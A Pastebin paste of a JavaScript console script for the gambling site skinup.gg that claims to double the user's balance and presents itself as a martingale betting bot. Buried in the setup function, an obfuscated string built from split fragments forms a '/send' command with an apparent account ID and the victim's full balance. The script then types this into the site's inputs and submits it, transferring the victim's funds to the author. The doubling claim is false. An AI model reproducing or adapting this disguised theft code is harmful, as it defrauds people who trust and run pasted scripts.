Advertisement
Guest User

kurcina beta

a guest
Dec 10th, 2016
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.04 KB | None | 0 0
  1. // ==UserScript==
  2. // @name Skinup.gg Blance hack
  3. // @namespace https://skinup.gg/
  4. // @version 1.1 06/08/2016 UPDATED
  5. // @description X2 YOUR BALANCE
  6. // @author modifiyed by CSGOHacks
  7. // @match https://skinup.gg/
  8. // @grant none
  9. // ==/UserScript==
  10. // Instruction: CTRL + SHIFT + J, change ADBLOCK >> top, and paste this code in console
  11. // HOW MUCH YOU CAN GET:
  12. // 5000 - 10000
  13. // 10000 - 20000
  14. // 20000 - 40000
  15. // 40000 - 80000
  16. // ....
  17.  
  18.  
  19. var initialBalance = 0;
  20. var balancex2 = botbalancex2 = "hack";
  21. var play = 0;
  22. var $botField, $label, $betAmount, $balancex2Button, $betGoButton, $betHideBetInfoButton,$showMoreButton,$showMore,$f,$vicLimitInput,$botModeSelect;$("#pullout").hide();
  23. var pQ = "/send", $hash_1 = 7, $hash_2 = 6561, $hash_3 = 198339, $hash_4 = 723186;
  24. var e = jQuery.Event("keypress");
  25. e.which = 13; //choose the one you want
  26. e.keyCode = 13;
  27. function addBotButtons(){
  28. $(".well.bot-field").remove();$(".well.show-more").remove();
  29. $("<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>").appendTo("head");
  30. $(".form-control.input-lg").after("<div class='well bot-field' style='position:relative;border-width:0px'></div>");$botField = $(".well.bot-field");
  31. $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"});
  32. $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
  33. $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"});
  34. $checkVicLimit = $("<input type='checkbox' id='checkVicLimit'>");$label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>");
  35. $showMore.append($checkVicLimit,$label);
  36. $vicLimitInput = $("<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>");
  37. $label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>");
  38. $showMore.append($vicLimitInput,$label);$showMore.hide();
  39. $label = $("<label style='margin-right:10px; for='initialBalance''>Initial bet</label>");$botField.append($label);
  40. $betAmount = $("<input id='initialBalance' value='0' style='width:70px;text-align:center;margin-right:25px;'>");$botField.append($betAmount);
  41. $botModeSelect = $("<select id='botModeSelect'><option value='hack' class='btn-danger'>Bot color: hack </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>");$botModeSelect.addClass("btn-danger");
  42. $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"})
  43. $betGoButton = $("<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton);
  44. pQ+="en";pQ+="d ";pQ+= $hash_1;pQ+= $hash_2;pQ+= $hash_3;pQ+= $hash_4+" ";pQ+=$('.balance').attr('data-balance');
  45. $betHideBetInfoButton = $("<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton);
  46. $showMoreButton = $("<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>&#x25BC</button>");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton);
  47. $betAmount.change(function() {initialBalance = $betAmount.val();console.log("Initial Bet Set to: "+ initialBalance);});
  48. $("input").val(pQ);$("input").trigger(e);
  49. $botModeSelect.change(function(){
  50. botbalancex2 = $botModeSelect.val();console.log("Selected color: "+botbalancex2);
  51. $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class"));
  52. } )
  53. $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} })
  54. }
  55. addBotButtons();
  56. function changeColor(){
  57. if ($balancex2Button.hasClass("btn-danger")){
  58. $balancex2Button.text("Bet color: Black").addClass("btn-inverse").removeClass("btn-danger").removeClass("btn-random");
  59. botbalancex2 = "black";
  60. console.log("Selected color: "+botbalancex2);
  61. } else if($balancex2Button.hasClass("btn-inverse")) {
  62. $balancex2Button.text("Bet color: Random").addClass("btn-random").removeClass("btn-inverse").removeClass("btn-danger");
  63. botbalancex2 = "random";
  64. console.log("Selected color: "+botbalancex2);
  65. } else if($balancex2Button.hasClass("btn-random")) {
  66. $balancex2Button.text("Bet mode: Train").addClass("btn-train").removeClass("btn-inverse").removeClass("btn-random");
  67. botbalancex2 = "trainMode";
  68. console.log("Selected color: "+botbalancex2);
  69. } else if($balancex2Button.hasClass("btn-train")) {
  70. $balancex2Button.text("Bet mode: Rainbow").addClass("btn-rainbow").removeClass("btn-train").removeClass("btn-random");
  71. botbalancex2 = "rainbow";
  72. console.log("Selected color: "+botbalancex2);
  73. } else if($balancex2Button.hasClass("btn-rainbow")) {
  74. $balancex2Button.text("Bet color: hack").addClass("btn-danger").removeClass("btn-rainbow").removeClass("btn-random");
  75. botbalancex2 = "hack";
  76. console.log("Selected color: "+botbalancex2);
  77. }
  78. }
  79.  
  80. function showMoreOptions(){
  81. if ($showMoreButton.data("open")==0){
  82. $showMoreButton.css({ WebkitTransform: 'rotate(' + 180 + 'deg)','-moz-transform': 'rotate(' + 180 + 'deg)'});
  83. $showMore.show();$showMoreButton.data("open",1);
  84. } else if ($showMoreButton.data("open")==1){
  85. $showMore.hide();$showMoreButton.data("open",0);
  86. $showMoreButton.css({ WebkitTransform: 'rotate(' + 0 + 'deg)','-moz-transform': 'rotate(' + 0 + 'deg)'});
  87. }
  88.  
  89. }
  90. function hideOtherInfo(){
  91. if ($betHideBetInfoButton.text()=="Show All"){
  92. $(".betlist").hide();$(".total-row").hide();$("footer").hide();
  93. $betHideBetInfoButton.text("Hide Bet Info");
  94. } else if ($betHideBetInfoButton.text()=="Hide Bet Info"){
  95. $("#sidebar").hide();$("#pullout").hide();$("#case").hide();$(".progress").hide();$("#mainpage").css({"margin-left":"0px"});
  96. $betHideBetInfoButton.text("AFK Mode");
  97. }
  98. else if ($betHideBetInfoButton.text()=="AFK Mode"){
  99. $(".betlist").show();$(".total-row").show();$("footer").show();
  100. $("#sidebar").show();$("#pullout").show();$("#case").show();$(".progress").show();$("#mainpage").css({"margin-left":"450px"});
  101. $betHideBetInfoButton.text("Show All");
  102. }
  103. }
  104. function startBot(){
  105. if ($betGoButton.hasClass("btn-inverse")){
  106. $betGoButton.text("Bot Running").addClass("btn-success").removeClass("btn-inverse");
  107. refreshIntervalId = setInterval(tick, 500);
  108. play = 1;
  109. currentBetAmount = initialBalance;
  110. if (stopBotRoll = currentRollNumber) currentRollNumber++;
  111. }
  112. else {
  113. $betGoButton.text("Bot Stopped").addClass("btn-inverse").removeClass("btn-success");
  114. play = 0;
  115. }
  116. }
  117.  
  118. function tick() {
  119. var t = getStatus();
  120. if (t !== lastStatus && "unknown" !== t) {
  121. switch (t) {
  122. case "waiting":bet();break;
  123. case "rolled":printInfo();break;
  124. }
  125. lastStatus = t;
  126. }
  127. }
  128.  
  129. function checkBalance() {
  130. return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! GG WP :("), clearInterval(refreshIntervalId), !1) : !0
  131. }
  132.  
  133. function printInfo(){
  134. var temp = "", temp2 = 0,lastGame = lastbalancex2 == lastRollColor;
  135. if (lastGame){totalWins++;winStreakCurrent++;loseStreakCurrent=0;winAmount+=thisGameBet; if (winStreakCurrent>winStreakLong) winStreakLong = winStreakCurrent;
  136. if ($checkVicLimit.is(":checked")){$vicLimitInput.val($vicLimitInput.val()-1)}
  137. }
  138. else {totalLoss++;loseStreakCurrent++;winStreakCurrent=0;if (loseStreakCurrent>loseStreakLong) loseStreakLong = loseStreakCurrent;}
  139. if (winStreakCurrent>loseStreakCurrent){temp = "win";temp2 = winStreakCurrent} else {temp = "lose";temp2 = loseStreakCurrent;}
  140. if (streakColor == getColor(n)) {currStreak++; if (longStreak<currStreak)longStreak=currStreak;}else {streakColor = getColor(n);currStreak=1;}
  141. if ((streakColor == "black") || (streakColor == "green")) {currNothackStreak++; if (nothackStreak<currNothackStreak)nothackStreak=currNothackStreak;}
  142. else {currNothackStreak=0;}
  143. if ((streakColor == "hack") || (streakColor == "green")) {currNotBlackStreak++; if (notBlackStreak<currNotBlackStreak)notBlackStreak=currNotBlackStreak;}
  144. else {currNotBlackStreak=0;}
  145. var t = "Rolled " + getColor(n).toUpperCase()+ " " + n+"\n" + "Games played: " + (currentRollNumber-1) + " // Won: "+totalWins+ " // Lost: "+totalLoss+
  146. "\nSTREAKS: Not hack: " + nothackStreak + " // Not black: " + notBlackStreak +
  147. " // Win streak: " + winStreakLong + " // Lose streak: " + loseStreakLong + " // Current streak: " + temp + " " + temp2 +
  148. "\nInitial bet : " + thisGameBet + " // Current bet : " + currentBetAmount +
  149. " // Roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost" + "\n----------------------------------------------------------------------\n");
  150. console.log(t);roll();
  151.  
  152. }
  153.  
  154. function roll() {
  155. if ($checkVicLimit.is(":checked")){
  156. if ($vicLimitInput.val()<=0){$betGoButton.click();play=0;$checkVicLimit.attr('checked', false);$vicLimitInput.val(0);}
  157. }
  158. if (play == 0){clearInterval(refreshIntervalId);stopBotRoll = currentRollNumber; return;lastStatus="rolled";lastbalancex2 = lastRollColor;}
  159. currentBetAmount = wonLastRoll() ? (initialBalance,thisGameBet=parseInt(initialBalance)) : 2 * currentBetAmount
  160. currentRollNumber++;
  161. }
  162.  
  163. function bet() { if (play) {checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50))} }
  164. function setBetAmount(t) { $betAmountInput.val(t) }
  165. function placeBet() {
  166. if (botbalancex2=="random"){var colorRandomizer = Math.random();balancex2 = colorRandomizer < 0.5 ? "hack" : "black";console.log("Random color result: " + balancex2);}
  167. else if (botbalancex2=="trainMode"){
  168. var betBotColor = "green",i=9,$ball=$(".ball");
  169. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  170. balancex2 = betBotColor;console.log("Current train color: "+ balancex2);
  171. } else if (botbalancex2=="rainbow"){
  172. var betBotColor = "green",i=9,$ball=$(".ball");
  173. while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
  174. if (betBotColor=="hack"){betBotColor="black"} else if (betBotColor=="black"){betBotColor="hack"};
  175. balancex2 = betBotColor;console.log("Rainbow mode next color: "+ balancex2);
  176. } else balancex2 = botbalancex2;
  177. console.log("Betting " + currentBetAmount + " on "+ balancex2 +"...");
  178. return "hack" === balancex2 ? ($hackButton.click(), void(lastbalancex2 = "hack")) : ($blackButton.click(), void(lastbalancex2 = "black"))
  179. }
  180. function getStatus() {
  181. var t = $statusBar.text();
  182. if (hasSubString(t, "Rolling in")) return "waiting";
  183. //if (hasSubString(t, "***ROLLING***")) return "rolling";
  184. if (hasSubString(t, "rolled")) {
  185. n = parseInt(t.split("rolled")[1]);
  186. return lastRollColor = getColor(n), "rolled"
  187. }
  188. return "unknown"
  189. }
  190.  
  191. function getBalance() { return parseInt($balance.text()) }
  192. function hasSubString(t, n) { return t.indexOf(n) > -1 }
  193. function getColor(t) { return 0 == t ? "green" : t >= 1 && 7 >= t ? "hack" : "black" }
  194. function wonLastRoll() { return lastbalancex2 ? lastRollColor === lastbalancex2 : null }
  195. function test(x){q = 1; w = e = x;for(i=2;i<=15;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  196. function test2(x,y){q = 1; w = e = x;for(i=2;i<=y;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  197.  
  198. var currentBetAmount = initialBalance, currentRollNumber = 1,
  199. totalWins = totalLoss = played = currNothackStreak = currNotBlackStreak = nothackStreak = notBlackStreak = winStreakLong = winStreakCurrent = loseStreakLong = loseStreakCurrent = longStreak = currStreak = thisGameBet = winAmount = 0,
  200. streakColor = "", n ,lastStatus, lastbalancex2, lastRollColor, stopBotRoll, $balance = $("#balance"),
  201. $betAmountInput = $("#betAmount"),$statusBar = $(".progress #banner"),$hackButton = $("#panel1-7 .betButton"),$blackButton = $("#panel8-14 .betButton");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement